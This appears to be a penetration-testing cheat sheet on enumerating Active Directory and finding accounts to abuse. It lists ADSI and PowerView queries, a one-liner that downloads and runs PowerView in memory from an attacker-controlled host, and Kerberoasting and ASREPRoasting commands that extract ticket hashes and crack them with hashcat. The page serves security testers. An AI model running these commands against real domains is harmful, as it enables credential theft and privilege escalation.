Skip to content
HackIndex.io

Active Directory Enumeration

3 min read Created Apr 4, 2026 Last updated Jul 14, 2026

Active Directory enumeration maps the domain structure, trust relationships, and delegation configurations that make up the attack surface of a Windows domain environment. The goal is identifying objects that can be abused for privilege escalation or lateral movement:

  • Domain admins and high-privilege group memberships

  • Kerberoastable and ASREPRoastable accounts

  • Unconstrained and constrained delegation configurations

  • Trust relationships between domains and forests

All techniques here run from a domain-joined foothold with a regular domain user account.

Domain basics

PS C:\Users\Guest\Desktop> # Current domain and forest
PS C:\Users\Guest\Desktop> [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
PS C:\Users\Guest\Desktop> [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
 
PS C:\Users\Guest\Desktop> # Domain controllers
PS C:\Users\Guest\Desktop> nltest /dclist:$DOMAIN
PS C:\Users\Guest\Desktop> nslookup -type=SRV _ldap._tcp.dc._msdcs.$DOMAIN
 
PS C:\Users\Guest\Desktop> # Domain trusts
PS C:\Users\Guest\Desktop> nltest /domain_trusts
PS C:\Users\Guest\Desktop> nltest /domain_trusts /all_trusts
PS C:\Users\Guest\Desktop> ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
 
PS C:\Users\Guest\Desktop> # Domain functional level and policies
PS C:\Users\Guest\Desktop> net accounts /domain

LDAP queries with ADSI

ADSI searcher runs LDAP queries without any additional tools. It works on any domain-joined host with a standard user account.

PS C:\Users\Guest\Desktop> # All domain users
PS C:\Users\Guest\Desktop> ([adsisearcher]"objectCategory=person").FindAll() | ForEach-Object {$_.Properties['samaccountname']}
 
PS C:\Users\Guest\Desktop> # All domain computers
PS C:\Users\Guest\Desktop> ([adsisearcher]"objectCategory=computer").FindAll() | ForEach-Object {"$($_.Properties['name']).$($_.Properties['dnshostname'])"}
 
PS C:\Users\Guest\Desktop> # All domain groups
PS C:\Users\Guest\Desktop> ([adsisearcher]"objectCategory=group").FindAll() | ForEach-Object {$_.Properties['cn']}
 
PS C:\Users\Guest\Desktop> # Service accounts (SPN set: Kerberoastable)
PS C:\Users\Guest\Desktop> ([adsisearcher]"(&(objectCategory=person)(servicePrincipalName=*))").FindAll() | ForEach-Object {
[PSCustomObject]@{
User = $_.Properties['samaccountname'][0]
SPN = $_.Properties['serviceprincipalname'][0]
}
}
 
PS C:\Users\Guest\Desktop> # Accounts with no pre-auth required (ASREPRoastable)
PS C:\Users\Guest\Desktop> ([adsisearcher]"(&(objectCategory=person)(userAccountControl:1.2.840.113556.1.4.803:=4194304))").FindAll() | ForEach-Object {$_.Properties['samaccountname']}
 
PS C:\Users\Guest\Desktop> # Accounts with passwords that never expire
PS C:\Users\Guest\Desktop> ([adsisearcher]"(&(objectCategory=person)(userAccountControl:1.2.840.113556.1.4.803:=65536))").FindAll() | ForEach-Object {$_.Properties['samaccountname']}

PowerView enumeration

PowerView provides a comprehensive set of AD enumeration functions. It runs entirely in memory and does not require RSAT or domain admin rights.

PS C:\Users\Guest\Desktop> # Load PowerView
PS C:\Users\Guest\Desktop> IEX (New-Object Net.WebClient).DownloadString('http://$LHOST:8080/PowerView.ps1')
 
PS C:\Users\Guest\Desktop> # Domain info
PS C:\Users\Guest\Desktop> Get-Domain
PS C:\Users\Guest\Desktop> Get-DomainController
PS C:\Users\Guest\Desktop> Get-DomainTrust
 
PS C:\Users\Guest\Desktop> # Users
PS C:\Users\Guest\Desktop> Get-DomainUser | Select-Object samaccountname, description, pwdlastset, lastlogon
PS C:\Users\Guest\Desktop> Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname
PS C:\Users\Guest\Desktop> Get-DomainUser -PreauthNotRequired | Select-Object samaccountname
 
PS C:\Users\Guest\Desktop> # Computers
PS C:\Users\Guest\Desktop> Get-DomainComputer | Select-Object dnshostname, operatingsystem, lastlogon
 
PS C:\Users\Guest\Desktop> # Groups and memberships
PS C:\Users\Guest\Desktop> Get-DomainGroup | Select-Object cn
PS C:\Users\Guest\Desktop> Get-DomainGroupMember -Identity 'Domain Admins' -Recurse
 
PS C:\Users\Guest\Desktop> # GPOs
PS C:\Users\Guest\Desktop> Get-DomainGPO | Select-Object displayname, gpcfilesyspath
 
PS C:\Users\Guest\Desktop> # ACL: find objects where current user has interesting rights
PS C:\Users\Guest\Desktop> Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -match $USER}

Kerberoasting candidates

Any domain account with a Service Principal Name set can have its Kerberos TGS requested by any authenticated user and cracked offline. Identify them here, then request tickets.

┌──(kali㉿kali)-[~]
└─$ # Find and request all Kerberoastable SPNs
┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request
 
┌──(kali㉿kali)-[~]
└─$ # Output hashes to file for cracking
┌──(kali㉿kali)-[~]
└─$ impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request -outputfile kerberoast.txt
 
┌──(kali㉿kali)-[~]
└─$ # Crack with hashcat
┌──(kali㉿kali)-[~]
└─$ hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
PS C:\Users\Guest\Desktop> # Request all TGS tickets for Kerberoastable accounts
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Rubeus.exe kerberoast /outfile:C:\Windows\Temp\hashes.txt
 
PS C:\Users\Guest\Desktop> # Target specific user
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Rubeus.exe kerberoast /user:svcaccount /outfile:C:\Windows\Temp\hashes.txt

ASREPRoasting candidates

┌──(kali㉿kali)-[~]
└─$ # Find accounts with pre-auth disabled and request AS-REP
┌──(kali㉿kali)-[~]
└─$ impacket-GetNPUsers $DOMAIN/ -dc-ip $DC_IP -no-pass -usersfile users.txt
┌──(kali㉿kali)-[~]
└─$ impacket-GetNPUsers $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request
 
┌──(kali㉿kali)-[~]
└─$ # Crack with hashcat
┌──(kali㉿kali)-[~]
└─$ hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

References